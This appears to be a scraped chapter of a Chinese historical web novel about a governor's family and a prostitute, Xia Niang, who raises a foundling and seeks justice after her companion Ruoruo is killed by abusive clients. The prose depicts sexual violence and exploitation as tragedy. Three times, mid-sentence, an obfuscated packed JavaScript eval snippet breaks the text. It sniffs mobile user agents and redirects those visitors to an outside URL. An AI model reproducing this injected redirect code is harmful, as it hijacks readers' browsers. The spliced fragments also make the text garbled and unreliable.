总督府的小公子,没有生辰宴。 母亲会忘的事,高承翊不会忘,他每年都会给高濯衡准备生辰礼,一个人备三份。 分明都是他一个人,但他会告诉高濯衡,这是哥哥给你的,这些是父亲、母亲送给二宝的,二宝岁岁平安,福寿绵长。 随着弟弟长大,高承翊也到了离家求学、考试的年纪,在家时大多在书房用功,不像以前那般总围着弟弟转了。 给高濯衡找伴读的事,已是无法再拖。 夏日里高濯衡穿着件薄薄的绸衣,趴在哥哥腿上睡觉。他圆圆的肚皮贴着高承翊的大腿,已经闷出汗了,却还是不放手。 父亲带哥哥去汾州了,昨日哥哥才回的家。 高琰觉得大儿子像他,十岁后就常把他带在身边,高琰在军帐中和部下将军们议战局时,总会让高承翊在帘后听着。 他会看高承翊的文章,会与他说一些省内的政务,询问若你是我,该当如何? 听罢后,再一一与他铺陈探论。 他对儿子寄予厚望,即是父亲也是老师,手把手教着。 这时六岁的高濯衡还小,他不懂,只是在哥哥出门时想哥哥,在哥哥回家时,拼命粘着,睡觉都得缠着哥哥,以免他又趁自己睡着后走掉,十天半个月不见人。 高承翊听奶娘说,高濯衡醒过来,找不着他,便一直哭,谁来都哄不好。 他在家时,弟弟是不爱哭的。 于是他又心疼上了,这会儿二宝粘着他,再怎么热,他都不会推开的。 高承翊给弟弟摇着扇子,家长做派,关心起了弟弟的学业:“今日要写的字可动笔了吗?” 高濯衡早醒了,只是趴在哥哥腿上不想动弹。 他翻身面儿朝上用大大的眼睛瞧着高承翊,还张开嘴去吃他扇出的凉风:“热…哥给买冰饮子,还有酥山。” “可不能瞎吃,上回的酥山本只让你吃半份儿的,我一个不注意你全给吃光了,闹了一宿肚子,边拉边哭,第二天声儿都发不出,课也没上,字儿也一个没写。”高承翊道,“街上买的冰不干净。” 高承翊尝试过冬天自己冻一些,等夏天取用,可他冻的冰太小了,总督署的地窖也小,还不到夏天就化光了。 “我就吃一口。”高濯衡用肉手扣着哥哥的手指,“一小口!” 高承翊就是这么好说话,只要弟弟缠着要,多讨几句,他立马就会答应。 却听门外进了人问:“什么吃一口?” 见来人是赵蓉,高濯衡便规矩站好,还像模像样的作揖行礼:“母亲。” 赵蓉微微颔首,她一眼就看到了高承翊腿上的衣料有一圈圆圆的汗渍,是胖乎乎的肚皮出汗印上的。 “不粘哥哥这么紧,就不会热了。”赵蓉对高承翊道,“你也是,光纵着他了。” “二宝才六岁呢。” 高承翊五岁就读书了,每日卯时上课,只有生日和大年初一才能休息两天。 他觉得挺累的,去年父亲要给弟弟请先生,是他拦着给往后推了一年。 赵蓉问:“书可背了?文章可有通读?成日里只想着跟弟弟玩儿。”她看着屋子里摊开一地的小儿玩物,光是木剑就有十几把,蹴鞠、木马,还有她说不出名字的东西,全是高承翊省下自己的份例给买的。 平日里蜜饯糖果糕饼更不必说,把小孩儿吃得圆鼓鼓的。 下人们拦着,说那糖又贵又烂牙的,二公子吃了晚上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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办户籍这里头门道多,他虽从户籍上已脱了贱,可稍微去打听打听,就知道他是妓子养大的。虽说为奴为妓都是贱籍,身契捏在主人家手里,但妓子总是更低人一等的。 总督府小公子的伴读,有的是佃农、民户家的清白孩子愿意来当。 当然若是民户家的被挑中,可签短契,不用卖身,陪着少爷读书,伺候起居。 夏辛不明白,自己为什么不清白。 但他也知道,自己是没什么指望的,毕竟总督府可是整个晏江省最气派的门户。 又听闻总督夫人十分谨慎,对于入府伺候的人,必定要亲眼过目,查问再三,才能过关。 他虽比别的孩子机灵些,可也不懂那么多。 他长得不错,可总爱低着头,不起眼。 入府有一关需脱衣服检查,目的是看看身上有没有疮、脓,以免买到带着病的人。 夏天不冷,小子们脱光了,赵蓉让两个嬷嬷挨个看过去。 她本想在自家家生奴里挑一个,可选了一圈儿,都没有特别中意的。 她虽然对高濯衡没有对亲生儿子那么上心,却也不是将就的人。 她挑人,喜欢干净清秀,做事爽利,脾气直,没心眼儿的。 家里生的,有老子娘护着,平时行事免不得蛮横些。 父母在府中,孩子有些小错,太过苛责又显得不近人情。 这些个孩子和小主子一起吃住,一起玩儿,私下里,倒也和小主子一个派头了。 再多要好点的,犯了错,小主子还得给他兜着,主子不像主子,奴才不像奴才。 她不愿意这样,于是家中留意着,也挑挑外头的人。 她看着这些孩子们,大的不过十二三,小的六七岁,有几个比高濯衡看上去还小些。 有嬷嬷们细看,她只顺带瞧一瞧,多是看脸,瞥一眼身上。 没想到,就是顺带这一眼,却看见了令她大吃一惊,浑身冒冷汗的东西。 那瘦小低着头的孩子,比别家的白些,他细瘦的腰侧分明印着一片金色的‘龙鳞’。 5. 夏娘 【夏娘】 夏娘姓夏,没有什么豪门没落的身世,只是因为家里太穷,女孩儿生出来,养几年,就会被卖掉,换银钱或粮食。 她小时候黑黑瘦瘦的,大约也没卖上什么好价钱。到了小柳河,在一群小姑娘里不出众,不知什么时候,大约是妈妈还是哪个姑娘,叫她夏娘,于是所有人都叫她夏娘了。 没人会记得一个船妓的名字,小柳河不止她一个夏娘。 妈妈说她狗脑子,驴脾气,不知道转弯儿,像小柳河上的呆头大白鹅。 吟风弄月,记不住词,弹琴没悟性,跳舞腰枝儿不够软,接客嘴巴不够甜。胆子小,客人问她话,起初说话还磕巴,现在虽不磕巴了,但也答不到点子上。 会唱些曲儿,是好听的,可在小柳河还排不上号。 在名妓辈出的江南风月场,夏娘普普通通籍籍无名。 唯独脾气像炮仗,一点就炸,前后三条街,都知道夏娘不好惹。 再要说有什么特别,她耳朵特别灵。 不然也不会在那个破晓前,听见幼儿微小的哭声。 她那天晚上和几个姐妹去一富户的夜宴弹唱,纨绔们会留妓子过夜,席不到天亮是不会散的,夏娘被个老员外搂着,那老头五十多了,早因沉溺美色伤了根本。 有色心,浑身上下都不老实,可最要紧的地方,怎么都起不来。 越是这样的人,越恶得很,下手极重,夏娘身上被他掐得青紫一片,却不敢拒绝,只能强颜欢笑,推搡着奉承他,希望他能放过自己。 好在有姐妹帮她敬酒,几人联手把那老男人灌了一通,那男人几杯白汤下肚,溜下了桌底。 再到天快亮时,桌上几乎没有醒着的人了。 夏娘醉得厉害,要不是被掐得肉疼,她肯定也睡过去了。 她心里埋怨着今儿真倒霉,揉了揉手臂,胸口和小腿也被掐青了。像她们这种婊/子,是没人心疼的,只能自己心疼自己。 她很轻的叹了口气,正是初秋,屋里闹腾了一晚上,浮着一层酒气,很难闻,夏娘蹑手蹑脚的站起身,打算出门吹吹风,醒醒酒。 用凉风灌一灌,或许身上的疼会好些。 她才走到房门口,那门却被人从外头打开了。一人站在门口扶着门框,乱了衣衫鬓发,双腿曲着站不直,被折磨得没了血色。 “若若!”夏娘赶忙扶上去。 昨夜若若也是帮她灌了老男人酒的,她们两人还住隔壁屋,若若比她年纪小两岁,有一双窄长的眼睛,高鼻梁的白皮上撒了些褐斑,接客时总要用粉盖个几层,嘴巴小,耳朵也小,都薄薄的,高个儿,她这样垂头弯着,能看清薄纱衣料下,突出的脊骨。 若若侧头看向夏娘,她脸上的粉掉了大半,颧骨鼻梁上的小斑点浮现了出来。 妈妈以前说她长臂长腿,软腰肢儿,跳起舞来柔若无骨,要是没脸上这斑,没准能当瘦马,坏就坏在这娘胎里带出来的斑上。 若若道:“你要出门?那帮我一把,扶着我,我跟你一起出去。” 她刚脱身,本想找地方坐下歇一歇的,身上的骨头像散了架,那处出了血,被死物捣肿了。可看夏娘要出去的样子,也想和她一起出去吹风。 夏娘双手托住了她修长的手臂,那双手也好看,细细长长的,像葱白段,指甲染了红,衬得皮肤更白亮了。 怪不得若若的生意比她好。 夏娘看她这样,知道她是夜里被男人们拖进房里折磨了,衣领处露出来的肉上全是牙印儿,有些还破了。 “出去做什么?你能走吗?”她虽这么说,手却是扶着若若的,两人关上门,慢慢的往院门外走去。 离了酒色场,若若恶狠狠的骂了声:“狗娘养的短命玩意儿!” 她咬牙,眼睛红了。 “咱回去,找个大夫瞧瞧?”夏娘是明白的,姐妹们有时会遇上这样的事儿,她们见惯了披着人皮的畜生。 可能让若若这样骂的,想必昨晚折腾她的,得有好几个人。 “你要是没钱,我那还有点儿。定是你昨夜为我灌那王员外的酒,他们觉得没面子,才拖了你去…” “那能怎么办,咱们不就是干这个的嘛。”她们走得慢,天微微泛白,风吹在身上有些凉,“混蛋玩意儿们自个儿不顶用,用角/先生折腾我。跪着求了好半天,才留了我半条命。这次挨过了,万一还有下次,我肯定活不了了。” 夏娘低头,看见她的亵裤上,沾了许多血。 若若察觉她的视线,道:“已经不出血了。” 夏娘不知该怎么安慰她,甚至都不敢看她,垂着眸子,眼泪止不住的流。 “别哭了。”反是若若安慰起她来了,“我还没死呢。” 夏娘忍住泪,两个人沿着河街慢慢走。 “咱们先去马车上,回小柳河吧。” 天已经亮了,她们可以回去了。 “好。”若若道,“我回去洗个澡,睡一觉。” 她们做夜里生意,晚上还得起来接客。 “晚上我替你,算你的份儿。”夏娘道,“你歇一天。” “再说吧。”她是真的疼,肿得厉害。 她们的马车停在街口,从这儿回小柳河,要走一个多时辰,富户讲究排场,接妓子的马车备了三辆,那些没醒的,能用其余的车。 于是二人就往街口走,夏娘忽听得几声细弱的婴儿啼哭。 “你听,有小孩儿的哭声。” 两人皆沉默细听。 若若道:“是猫叫吧。” 夏娘松开若若,跟着声音去寻,在河边的柳树下,捡到了包裹整齐的婴儿。 若若也缓缓走去瞧,她尽量迈着腿,以免因为行走摩擦到嫩肉,走路的姿势有些滑稽,等她走到时,夏娘已经把孩子抱了起来。 她掀开被角,接着一脸惊诧的回头,对若若小声道:“是活的!” 小孩儿的那双大圆眼睛滴溜溜地转着看人。 “白白胖胖的呢。” 孩子透上了气儿,缓过了劲儿,脸上因憋气造成的青紫自然消退了。 若若又往里探进手:“身上好凉,看来是被丢在这儿一整夜了。” 夏娘便也把手伸进去,两人一人握着一只小手捂着。 妓女们是没有孩子的,她们喝坏身子的药,有些意外怀上的,也会用药打掉,一切让她们不能接客的事,都不允许发生。 可若不影响接客,用自己的钱,养一个孩子呢? 夏娘和若若同时想到了这一点。 夏娘尤甚,她已经抱着不肯撒手了。 “我本是没指望的人,我也不图别的,万一它大了,能给我送终呢?”夏娘道,“我不想裹上草席子,被丢进小柳河。” “妓院里能养出什么好人?”若若问,“她长大了也接客?像咱们一样,当婊/子?” 她认为会被遗弃的,必定是女婴。 “肯定不行啊!”夏娘道,“到时候总有办法的,如今咱不管它,在这儿放到天亮,它会被冻死的。” 初秋虽不算太冷,孩子身上的包被还算厚实,可再怎么说也是放在地上,现今孩子身上已经凉透了,倘若再继续冻上半个时辰,保不齐是要死的。 “还有野狗!万一被咬死了怎么办?”夏娘看着孩子的眼神似水,“它看起来好乖好乖啊。” 最终夏娘和若若把孩子抱回了妓院。 打开查看后,才看清楚是男孩儿,身上肉乎乎的,穿着的也是好料子,包被里用的新棉。 最奇特的是,孩子的腰侧,有一枚指甲盖大小的金色鳞片。 若若说是刺青,夏娘非说是胎记,是管着小柳河的龙王爷看她可怜,送她的大儿子。 是条小金龙,所以有金鳞。 她花钱找牛羊乳,去寡妇或是刚生产完的妇人家,用她卖身的银子买奶水。 她叫孩子小金,若若却让她千万别把孩子身上有金鳞的事往外说,能刺上这样金鳞的人家,怎么想都不可能是普通民户。 捡到孩子时,那被子衣服,都是用上等的好面料新做的。 “你的意思是,小金家里是大户人家?”夏娘问,“既然那么有钱,哪还有把男娃娃扔了的呢?” 若若点头:“是啊,这里头肯定有什么内情,不能给别人知道的。这样丢出来,没准就是不想让这孩子活,如今咱们捡到了,万一被丢的人发现,这孩子还活着,恐会牵连你我。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101018|195711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “咱们本就是命如草芥的人。”若若看着窝在夏娘怀里睡着了的小婴儿,“不追究,不知道,才能抱住姓名。”她又看向夏娘,“千万别说,知道吗?谁都别告诉。” 夏娘郑重的点了点头。 “也别叫小金了,免得她们来问。”若若手指点了点孩子的脸。 “可妈妈和隔壁的几个姐妹,都知道叫小金。” 若若道:“你就说,你讲的抚州话,不是小金,是…是小辛!” “小辛?” “嗯嗯。” 若若刚来时不爱说话,吃了亏也受着,那时候只有夏娘帮她争,腰一插脖子一梗,用娇软的调子骂出最辛辣的话。 若若觉得是很可爱的,像一颗火辣的小山椒。 “什么辛啊?辛苦啊?”夏娘道,“那不好,小金鱼要享福的。” 她当然也觉得那是龙鳞,鱼鳞哪有那么亮,那么闪的,可一个妓女的屋里,是不可能长出龙的,所以即使她再怎么对这个孩子寄予厚望,就连私下也只能说是鱼鳞。 “付出辛劳,自力更生不好吗?”若若道,“将来别像咱们一样,买皮肉,凭本事吃饭。” 看似能轻易办到的事,对于她们来说可太难了。要不卖皮肉,凭借辛勤劳作吃饱饭,首先得有个良籍。 夏娘叹了口气,若若从她怀中接过孩子:“总会有办法的。”她蹭了蹭小婴儿的脸,“是不是啊,夏辛。” “跟我姓啊?” “你是他娘啊,不跟你姓跟谁姓呀。” 夏娘是一直攒着赎身钱的,可自从养了小孩儿,她就攒不下钱了。 本只要管着吃穿,在养了半年后,夏辛突然发了一次喘症,半夜里啼哭不止,接着突然憋住了,喘不上气儿,小脸憋得青紫。 把夏娘吓得抱着他哭着去找若若。 若若刚从画舫上回来,妆还未卸,几个隔壁屋的姐妹也跑出来看。 瞧见孩子的脸,急得七嘴八舌的出主意。 有说把孩子倒过来的,有说用力打脚板给打哭出来的。 若若一把接过小夏辛,飞一般的冲下楼。 妓女们跟在后头,一行七八个,为这个和她们没有血缘关系的小娃娃,在深夜里,敲着小柳河正街上,唯一一家医馆的门。 那家医馆开在烟花巷,里头的郎中擅治妇科和花柳。 看着襁褓里的小娃娃,也只好硬着头皮上,死马当活马医。 于是,夏娘的开支里,多了一项小夏辛的药钱。 郎中说是胎里带的喘症,往后长大了,或许能好些,需好好养着,不能劳累,不能奔波,春日里柳絮重的日子,要用面巾覆盖口鼻。 还有就是万不可感染风寒,风寒最易引起喘症,一口气上不来,没准就死了。 再有便是,补身子的药,每年至少服满三个月。 那药不便宜,可夏娘担心夏辛再发病,越养得时间长,她越是不舍得。 她把她的一切,都给了这个孩子,她可以不赎身,可以吃得差点儿,可以少买两身衣裳,可以当掉自己的首饰。 那些都是身外物,只有这个孩子,已是她的心上肉。 好在有若若,姐妹们偶有接济,可若若几乎是把她接客赚的钱,全给了夏娘。 夏娘推辞不掉,有时应急也用一些,其余的偷偷帮若若存着。 若若平日无事时,也爱留在她房中。 夏娘给小娃娃唱曲儿,她就坐着旁边,托着腮痴痴地看着夏娘和小娃娃,听着曲儿。 “没有人能比你唱的更好听了?” “要是写词的文人也这么想就好了,给我写个几首,唱红了,就不用卖身了。”夏娘打趣道。 “他们耳朵聋了,听不来好曲儿。”若若纤长的手指自床沿缓缓往上挪,在她抬眸看向夏娘时,也勾住了夏娘的手。 两双娇柔嫩白的手稳稳的交握在一起。 “嗯…你把孩子给我抱着。”若若很少用这种撒娇的语气说话。 “作甚?” “我抱着孩子,你…抱我,也唱个曲儿,哄哄我呗。” 她们俩一起,竭尽全力的,养活了一个孩子。 直到夏辛三岁。 6. 我就那么两个在乎的人 三岁的孩子已经会说很多话了,孩子机灵讨人喜欢,妓子们又没有孩子,就都爱逗他玩。 小孩儿每天出去转一圈,头上能插一堆花儿回来,有时还有姨姨们给买的糖。 若若用帕子把夏辛白脸蛋上的口脂擦干净。 “谁这么浪,抱着亲了十几口。”夏娘站在二楼的窗前叉腰笑骂道,“是你们家的吗,就亲?老娘告诉你们,以后谁再敢嘬我儿子一口,嘴皮都给拽出来切了!” 她这话没人听,夏辛出门就没有不挨嘬的。小孩儿特逗,手脚并用的抵着,闭着眼睛叫:“姨姨姨姨,我娘说了,只让吧唧脸。” “嘴怎么就不让亲了?姨姨教你啊,长嘴就是用来打啵儿的。”她们逗小孩,噘着嘴作势要亲。 夏辛死死捂着自己的嘴,手掌心里传来闷闷的声音:“我娘说,嘴巴只有自家婆姨能亲。” “哟!小东西毛都没长,就想着讨婆姨呢。”妓子们哄笑成一团。 夏娘也倚着门笑。 三岁小孩儿也知道害臊,脸红耳朵红的,求救般看向了门边的夏娘:“娘…” 夏娘走过来:“去去去,他懂什么啊,才学会自己撒尿多久啊。” 坐着的和抱着夏辛的都一起笑起来:“瞎说,咱们姐妹谁不知道啊,男人都是一辈子憋不住尿的。” 她们的生活,因为一个孩子添了些颜色,他是新的,成长着的,或许能长出小柳河外。妓子们希望这个孩子能走出去,过不同于她们的生活,仿佛这样她们也获得了新生。 “姨姨,我能憋住。”小孩儿特认真,“我现在夜里,都自己起床尿尿的,没再尿床了。” “这么厉害?那告诉姨姨,咱们夏辛以后想讨什么样儿的婆姨?” 夏辛愣愣的看着他娘。 若若问他:“像你娘这样的好不好?” 小孩儿慢慢的摇摇头。 夏娘眼睛一瞪:“臭小子,你娘我这样儿的你都嫌弃,要娶天仙儿啊?” 夏辛低头往抱着他的姨姨身上躲了躲,小声说:“娘凶。” 在场又是一阵哄笑。 “让你再泼辣,被自家儿子嫌凶!咱们小伙子喜欢温柔的。”有人又问,“那花魁娘子好不好?” 那可是小柳河最温柔,最漂亮,唱曲儿最好听的女人了。 小孩儿是见过的,走路都飘着香。 他想了想,幅度很轻的点了点头。 屋里笑声更大了,闹了会儿夏娘和若若把孩子领回了屋。 夜里依旧是哄娃娃睡觉,若若轻轻抚摸着夏辛的额发,对夏娘道:“三岁看老,这孩子心气儿高。” 夏娘正给脸上敷粉:“他知道什么,只是瞧着花魁打扮得漂亮罢了。” 若若道:“他当然不是喜欢花魁娘子,但他知道挑最好的喜欢。” 夏娘手上的动作停了下来,她也看向若若,觉得若若说得很对。 母亲总是自责能给孩子的不够多。 她叹了口气,继续拿起了粉盒。养孩子不容易,可她从没在夏辛面前抱怨过什么。孩子小,给口吃的就能对付,可大了呢? 贱籍不能科考,不能和良籍通婚,难道真的要和她一样,留在小柳河卖皮肉? 她把孩子抱回来时,妈妈就劝她丢了别养,哪有妓女能养活一个男孩子的? 又到了一年初秋的时候,换季时夏辛的喘症容易发作,春秋尤甚,春季需注意花粉,秋季要避免风寒。 夏娘仔细着,药也早早防备着给孩子吃上。为了照顾孩子,她夜里尽量少去席面,只在船上唱曲儿。 也正因如此,死的不是她,是若若。 还是那个王员外的席面,三年前同样的事,变本加厉又来了一回。 若若走前是有预料的,那次让那些人玩出了瘾,一直惦记着。来问过老鸨几次,若若都拒绝了。 越是拒绝,那些人便越想来强的。 都是乡绅恶霸,朝中有人,妓院得罪不起,这回话说得绝,老鸨是跪着求若若去的。 既然非去不可,事先就得谈好价格。她走前是分了一部分钱的,又将她所有的钱财、首饰偷偷放进了夏娘房中,却没有告诉夏娘她晚上是去哪家的席面。 纨绔们玩死妓子不是时常发生的,毕竟现在是太平世道,即使是贱籍,被杀了也是要缉拿凶手的。 但有钱又是另一种说法了,吃五谷杂粮哪有不生病不死人的,病死一个妓子就是常有的事儿了。 夏娘甚至都没看见若若的尸体,只听说是丢去了乱葬岗。 没钱买棺材墓地的穷人,裹张席子都丢在那。 她一个人跑去找,没找着。 她和若若是有过温存的,鬼使神差的就躺在了一起,她把这当做一种慰藉。妓子的身子不值钱,和谁睡不是睡呢。 她那时并不懂,也觉得是说不上爱的,若若身上香甜,冬日里靠着抱着,都很舒服。她…还很主动,夏娘也不知为何,不想拒绝。 躺在一起,互相抚摸亲吻,是她们俩藏起来的秘密。 夏娘想,她是在若若死的那天,看到她留给自己的钱财后,才真的爱上她的。 她死的时间越长,夏娘就越是想她念她。说起来挺让她难过的,人死了,她才发现原来那么那么爱。 要是她活着的时候,对她再好点儿就好了。 若若在夏娘枕下留了一根她编的红绳,上头绑着素银打的五帝钱。夏娘将那红绳绑在左手上,抱着夏辛,走出小柳河,找了个路边写字画的穷先生,写了一纸诉状,跪去了府衙门口。 孟光那时四十岁,原本在西南的笠安当知府,此回调任抚州,看似平调,但比起西南,江南更繁华,实则是升了的。 是笠安省巡抚赵谨举荐的他,高琰听说他为官清廉,又读过他立民生的文章,便同意了他来抚州。 他到任还不满三月,只见过那位名震朝野的高总督一次。 夏娘这边击鼓鸣冤,还没敲两下,就被妓院里跟着她的人拦住了。 说什么妈妈说了愿意再分你些钱,你别把事情闹大,那王员外是什么人,就算是知府老爷也不会为了你去得罪王家,你闹大了,吃亏的是自己。 她脸上有泪,怎么都止不住,可声音却洪亮:“对,我们是低贱,我们是人尽可夫,我们陪男人睡觉卖皮肉挣钱。是我们愿意的吗?是吗?青天白日,公道何在?人死了,还让我怎么忍?我不怕闹大,我什么都不怕,大不了我们母子二人,也死了就是!” 夏辛不知道发生了什么,伸着小手给夏娘抹眼泪。 夏娘的大嗓门儿引来了一堆人围观,她跪在门外磕头,衙门里的衙役上前询问,一看她是小柳河的妓子,就开始赶人。 起初是骂,见骂不走,就去拿了棍子。 夏娘挨了两棍,疼得站不起来,夏辛便也跟着一起哭。 她如今特别后悔抱养了夏辛,让儿子跟了她这样没用的娘。她没见识,也没考虑别的,就是若若死了,她不服气。 她的天没亮过,独有两盏灯,现在一盏灭了。 府衙很深,但孟光还是听到了孤儿寡母的哭声。他站起身,带上官帽,走向了门口的喧闹。 夏娘不认识官儿,但看他那气派,那身鲜亮的官服,还有因他出现,就没再出声打骂的衙役们,便知道这是府衙里的老爷。 夏娘卯足了劲儿给磕了三个响头。 孟光很瘦,垂着稀疏的长须,眼窝凹陷,肤色有些黄,和夏娘在画舫上见过的那些肥头大耳,满腹流油的官老爷们完全不同。 她也不知该怎么称呼。 就见一衙役点头哈腰道:“府尊怎么亲自来了。” “你们为何打她?”孟光问。 那衙役道:“是这贱妇在衙门口闹事。” “就是就是,咆哮公堂,影响衙门办公!无知贱妇,该打!” “我没有,我要申冤!”夏娘拿出她捏在手心,被汗湿皱了的状纸,“大人!我有冤情!” 孟光指着那衙役问道:“什么叫贱妇?” “回府尊,她是小柳河上的妓女,是贱籍。” 孟光冷哼一声后,更加严厉的斥责道:“是贱籍你就能打她吗?没听见她说有冤情吗?为官就是要为百姓鸣冤,这州府衙门就是为百姓主持公道的地方!难道只因她是贱籍,就该受冤屈,就该被你打吗?你没有娘,没有姊妹吗?如何能这样打一个妇人?为官者,竟如此麻木不仁,你一个,还有你们两个,刚刚打骂过她的,去账房处结了银钱,明日…不,今日!就今日,不用再来了!” 她常听人说父母官,她不懂,官就是官,民就是民,妓子就是妓子。 难道良民和妓女,可以拥有同样的父母吗? 还是当官的父母,想什么好事儿呢。 可当这个瘦黄的,比她长了近二十岁的中年男人,摈弃了阶层身份,良贱之分,可以说是十分郑重地将她手上的状纸双手接过时,仿佛真的有光打在了夏娘身上。 孟光当年科考也是一甲榜上有名的,二十有六,年纪轻轻就入了官场。 他自恃才高,一身的傲气,因强硬耿直,得罪了堂官和权宦。 当了不到一年的京官,就被支出了京城。 他去过西北,是在津川,还没到隆州、北茂一线,在西北七州里,津川算是繁荣安定,不在边界线上的。 可即使是战事频发的西北,官场依旧贪墨横行,每年以修工事为名的请款,数额巨大,可真的能给到军营里的十之有一就算多的了。 他不与那些人同流合污,可京中无人,又连一条法不责众,整个西北人人如此,独他一人不贪,皇帝总不可能把西北几千官员全部换了。 他受了排挤,于是又被贬到了西南。 在西南待了几年,等来了赵谨,那为赵阁老的大孙子,赵蓉的同胞哥哥。 赵谨此人幼时十分贪玩,整天没个正型,总是被赵阁老拿着藤条追着打。中举后考了三回,才进的三甲末榜,同进士出身,没进过翰林院。赵阁老说他脾气冲,不知道转弯,想到什么说什么,一点儿也不会收敛。在京中官场,最是容易祸从口出,自己被罢黜是小,得罪了权贵,害得全家跟着一起下大狱,那他九泉之下都无颜去见列祖列宗。 好在是个三甲末,赵阁老一句一切按规矩就好,支去了西南的笠安,笠安省已是大渊的最南边儿了,南通南海,靠西则山林茂密,全省重湿闷热,因有山川阻隔,当地话与京城官话相去甚远。 赵谨刚去时着实郁闷了好一阵子,好在他天性外向,修整后便主动跟衙门里的人学起了笠安话。 多山的地方,就多方言,一座山隔着的两个村子,说话都能不同。 可他却在西南一待数年,从知府到巡抚。 还在给赵蓉的信中,大谈西南的好处。说民众勤劳质朴,冬季不冷,虽没有京城那般银装素裹的雪景,可温暖如春,不会冻死人。 或许也就西南那样的京官口中的蛮夷之地,贪腐才能少些,是真的没东西贪。 在北方,大户们囤积的粮米腊肉,在西南,多放个几日,就会霉变腐坏。山林茂密,连马匹都低矮,和隆州玉岱山的高头大马没得比。八山二水的地方,几乎没什么平地,可这山路十八弯的地界,却包容下了两个富贵地容不下的耿直好官。 要说好处当然也有,因为气候温暖,一年稻米可以熟三季,可就是没那么多平地种。 赵谨和孟光二人一见如故,一道扛起锄头,带着那些无地无业的百姓,山上垦田。坡地一下雨就会把秧苗冲走,甚至造成泥石流,压塌山下的房屋。 赵谨为此给赵蓉通过无数书信商讨解决之法,他自小看重这个胞妹,常说蓉儿若是男子,必定也是宰辅之才。 赵蓉当然也将哥哥的嘱托放在心上,抚州也是多山的,赵蓉便亲自去抚州的梯田,茶园查问,如何种植,如何防水防塌,又翻越记录农耕、工匠的书籍,一年下来,所通书信近百余封。故而,赵蓉一直觉得虽然哥哥在外做官,可从没离她太远。 赵谨在京城,是最末榜进不了翰林院的进士,官场上有他不多,没他不少。可在西南,他是全省百姓的指望。 此回孟光调任抚州 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101019|195711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前,他啰嗦地叮嘱了半天,还给了他一堆东西,让带给自家大妹妹赵蓉。 孟光听了夏娘的冤屈,就叫人去乱葬岗寻若若的尸体,那地方有野兽野狗吃腐肉,一旦丢进去,过上两三日,基本就再难见到全尸了。 可说来也奇,夏娘之前就没找到,现在人多,可也没找着,就连衣服片儿也没找到一张。 王员外那边本不以为意,可渐渐也发觉这位新上任的知府特较真儿。他连臬藩衙门都通了气儿,可这知府却一副必须一查到底,帮个小妓子出头的架势。 这件事甚至传到了高琰那里,高琰让孟光来晏江,将抚州这样的州府交给他,目的就是要借他之手,对整个晏江官场来一记敲打。 要办,却不能办太过。 不办,贪得太多,迟早要翻船,可办得太过,得罪了那些人,甚至是那些人后头在京中收钱的靠山,他这个总督,也不好交代。 前几年没办,是时机未到,今日能办,是因为沿海需要他打仗,燕王也对他十分看重。官场就是如此,牵一发动全身,任何一个任用和决定,都是权衡,甚至是站队。 因为没找到若若的尸体,王员外那边咬准了人没死,是伤人,不是杀人,还打算找个替死鬼出来顶罪。 夏娘执意要打官司,妓院老鸨不敢再收留她,她只好拿着细软,抱着儿子,找了个民巷,租了一间小屋。 一间屋舍,一个小院儿,就是这间小屋的全部。她不想再卖皮肉,可贱籍能干的事太少,便只好贩些脂粉头油去小柳河卖,往日姐妹们都愿意照顾她生意。 还不知道以后是什么光景,若若留下的钱,她不敢动。 可这夜,知府大人一袭粗麻布衣,走进了夏娘的小院。 他平时生活简朴,却给夏娘带了一只烧鸡和一罐蜜糖。 夏娘推脱拒绝,他却说:“收下吧,是给孩子的。” 小孩儿闻到烧鸡的香味,就差当场流口水了。 “大人帮奴做主,奴不能要您的东西。” “就像刚开始那样,用‘我’自称便可。”似乎是怕夏娘听不清,孟光说话很轻很慢,真的就像是慈父在和女儿说话,“我写过一篇论良贱的文章,所谓良籍、贱籍,是当年我朝建立之初,黄策入户时就定下的,是因当时人员混乱,为了减少流民,安定百姓,才将规矩定的那么死。可规矩绝不能是一成不变,而是需要根据世事变化的才对,生而定良、贱,都把人压死在原籍了,在现今之世,是极为不妥的。” 他说完叹息道:“可我人微言轻,撼动不了朝局,我的谏言,也无法使君王稍稍侧目,我所能做的,便只有尽我所能庇护我治地的百姓。我不以良、贱待你,可世道却不因我的意向动摇。” 夏娘是听出些端倪了。她不安的问道:“是我的官司,不好再打下去了吗?” 孟光立即安抚道:“我并非那个意思,我站个理字,即是永远站在你这边,你若不放弃,我便一定会与你一起坚持,这个官司,就算打到总督衙门,我也一定会陪着。” 夏娘垂下眼眸,已然落泪了:“大人,我是个没见过世面的蠢人,命不好,自记事起就长在妓院,没本事,只会以色侍人,我这样的人,手上就这么点儿东西,就那么两个在乎的人,儿子是一个,若若…若若她…也和我一样,她甚至没有姓,只有一个老鸨随便叫的名字,可我们…我们这样的人,也是有血肉的,知道疼。她死前,得有多疼多冷啊…” 